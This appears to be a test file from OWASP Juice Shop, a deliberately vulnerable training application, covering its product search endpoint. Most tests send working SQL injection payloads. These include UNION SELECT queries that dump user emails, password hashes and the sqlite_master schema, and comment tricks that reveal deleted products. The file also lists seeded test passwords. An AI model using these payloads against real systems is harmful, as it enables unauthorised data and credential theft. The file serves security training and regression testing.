juice-shop
200 строк · 8.7 Кб
1/*
2* Copyright (c) 2014-2024 Bjoern Kimminich & the OWASP Juice Shop contributors.
3* SPDX-License-Identifier: MIT
4*/
5
6import frisby = require('frisby')7import { expect } from '@jest/globals'8import type { Product as ProductConfig } from '../../lib/config.types'9import config from 'config'10const security = require('../../lib/insecurity')11
12const christmasProduct = config.get<ProductConfig[]>('products').filter(({ useForChristmasSpecialChallenge }) => useForChristmasSpecialChallenge)[0]13const pastebinLeakProduct = config.get<ProductConfig[]>('products').filter(({ keywordsForPastebinDataLeakChallenge }) => keywordsForPastebinDataLeakChallenge)[0]14
15const API_URL = 'http://localhost:3000/api'16const REST_URL = 'http://localhost:3000/rest'17
18describe('/rest/products/search', () => {19it('GET product search with no matches returns no products', () => {20return frisby.get(`${REST_URL}/products/search?q=nomatcheswhatsoever`)21.expect('status', 200)22.expect('header', 'content-type', /application\/json/)23.then(({ json }) => {24expect(json.data.length).toBe(0)25})26})27
28it('GET product search with one match returns found product', () => {29return frisby.get(`${REST_URL}/products/search?q=o-saft`)30.expect('status', 200)31.expect('header', 'content-type', /application\/json/)32.then(({ json }) => {33expect(json.data.length).toBe(1)34})35})36
37it('GET product search fails with error message that exposes ins SQL Injection vulnerability', () => {38return frisby.get(`${REST_URL}/products/search?q=';`)39.expect('status', 500)40.expect('header', 'content-type', /text\/html/)41.expect('bodyContains', `<h1>${config.get<string>('application.name')} (Express`)42.expect('bodyContains', 'SQLITE_ERROR: near ";": syntax error')43})44
45it('GET product search SQL Injection fails from two missing closing parenthesis', () => {46return frisby.get(`${REST_URL}/products/search?q=' union select id,email,password from users--`)47.expect('status', 500)48.expect('header', 'content-type', /text\/html/)49.expect('bodyContains', `<h1>${config.get<string>('application.name')} (Express`)50.expect('bodyContains', 'SQLITE_ERROR: near "union": syntax error')51})52
53it('GET product search SQL Injection fails from one missing closing parenthesis', () => {54return frisby.get(`${REST_URL}/products/search?q=') union select id,email,password from users--`)55.expect('status', 500)56.expect('header', 'content-type', /text\/html/)57.expect('bodyContains', `<h1>${config.get<string>('application.name')} (Express`)58.expect('bodyContains', 'SQLITE_ERROR: near "union": syntax error')59})60
61it('GET product search SQL Injection fails for SELECT * FROM attack due to wrong number of returned columns', () => {62return frisby.get(`${REST_URL}/products/search?q=')) union select * from users--`)63.expect('status', 500)64.expect('header', 'content-type', /text\/html/)65.expect('bodyContains', `<h1>${config.get<string>('application.name')} (Express`)66.expect('bodyContains', 'SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns', () => {})67})68
69it('GET product search can create UNION SELECT with Users table and fixed columns', () => {70return frisby.get(`${REST_URL}/products/search?q=')) union select '1','2','3','4','5','6','7','8','9' from users--`)71.expect('status', 200)72.expect('header', 'content-type', /application\/json/)73.expect('json', 'data.?', {74id: '1',75name: '2',76description: '3',77price: '4',78deluxePrice: '5',79image: '6',80createdAt: '7',81updatedAt: '8'82})83})84
85it('GET product search can create UNION SELECT with Users table and required columns', () => {86return frisby.get(`${REST_URL}/products/search?q=')) union select id,'2','3',email,password,'6','7','8','9' from users--`)87.expect('status', 200)88.expect('header', 'content-type', /application\/json/)89.expect('json', 'data.?', {90id: 1,91price: `admin@${config.get<string>('application.domain')}`,92deluxePrice: security.hash('admin123')93})94.expect('json', 'data.?', {95id: 2,96price: `jim@${config.get<string>('application.domain')}`,97deluxePrice: security.hash('ncc-1701')98})99.expect('json', 'data.?', {100id: 3,101price: `bender@${config.get<string>('application.domain')}`102// no check for Bender's password as it might have already been changed by different test103})104.expect('json', 'data.?', {105id: 4,106price: 'bjoern.kimminich@gmail.com',107deluxePrice: security.hash('bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=')108})109.expect('json', 'data.?', {110id: 5,111price: `ciso@${config.get<string>('application.domain')}`,112deluxePrice: security.hash('mDLx?94T~1CfVfZMzw@sJ9f?s3L6lbMqE70FfI8^54jbNikY5fymx7c!YbJb')113})114.expect('json', 'data.?', {115id: 6,116price: `support@${config.get<string>('application.domain')}`,117deluxePrice: security.hash('J6aVjTgOpRs@?5l!Zkq2AYnCE@RF$P')118})119})120
121it('GET product search can create UNION SELECT with sqlite_master table and required column', () => {122return frisby.get(`${REST_URL}/products/search?q=')) union select sql,'2','3','4','5','6','7','8','9' from sqlite_master--`)123.expect('status', 200)124.expect('header', 'content-type', /application\/json/)125.expect('json', 'data.?', {126id: 'CREATE TABLE `BasketItems` (`ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `BasketId` INTEGER REFERENCES `Baskets` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, UNIQUE (`ProductId`, `BasketId`))'127})128.expect('json', 'data.?', {129id: 'CREATE TABLE sqlite_sequence(name,seq)'130})131})132
133it('GET product search cannot select logically deleted christmas special by default', () => {134return frisby.get(`${REST_URL}/products/search?q=seasonal%20special%20offer`)135.expect('status', 200)136.expect('header', 'content-type', /application\/json/)137.then(({ json }) => {138expect(json.data.length).toBe(0)139})140})141
142it('GET product search by description cannot select logically deleted christmas special due to forced early where-clause termination', () => {143return frisby.get(`${REST_URL}/products/search?q=seasonal%20special%20offer'))--`)144.expect('status', 200)145.expect('header', 'content-type', /application\/json/)146.then(({ json }) => {147expect(json.data.length).toBe(0)148})149})150
151it('GET product search can select logically deleted christmas special by forcibly commenting out the remainder of where clause', () => {152return frisby.get(`${REST_URL}/products/search?q=${christmasProduct.name}'))--`)153.expect('status', 200)154.expect('header', 'content-type', /application\/json/)155.then(({ json }) => {156expect(json.data.length).toBe(1)157expect(json.data[0].name).toBe(christmasProduct.name)158})159})160
161it('GET product search can select logically deleted unsafe product by forcibly commenting out the remainder of where clause', () => {162return frisby.get(`${REST_URL}/products/search?q=${pastebinLeakProduct.name}'))--`)163.expect('status', 200)164.expect('header', 'content-type', /application\/json/)165.then(({ json }) => {166expect(json.data.length).toBe(1)167expect(json.data[0].name).toBe(pastebinLeakProduct.name)168})169})170
171it('GET product search with empty search parameter returns all products', () => {172return frisby.get(`${API_URL}/Products`)173.expect('status', 200)174.expect('header', 'content-type', /application\/json/)175.then(({ json }) => {176const products = json.data177return frisby.get(`${REST_URL}/products/search?q=`)178.expect('status', 200)179.expect('header', 'content-type', /application\/json/)180.then(({ json }) => {181expect(json.data.length).toBe(products.length)182})183})184})185
186it('GET product search without search parameter returns all products', () => {187return frisby.get(`${API_URL}/Products`)188.expect('status', 200)189.expect('header', 'content-type', /application\/json/)190.then(({ json }) => {191const products = json.data192return frisby.get(`${REST_URL}/products/search`)193.expect('status', 200)194.expect('header', 'content-type', /application\/json/)195.then(({ json }) => {196expect(json.data.length).toBe(products.length)197})198})199})200})201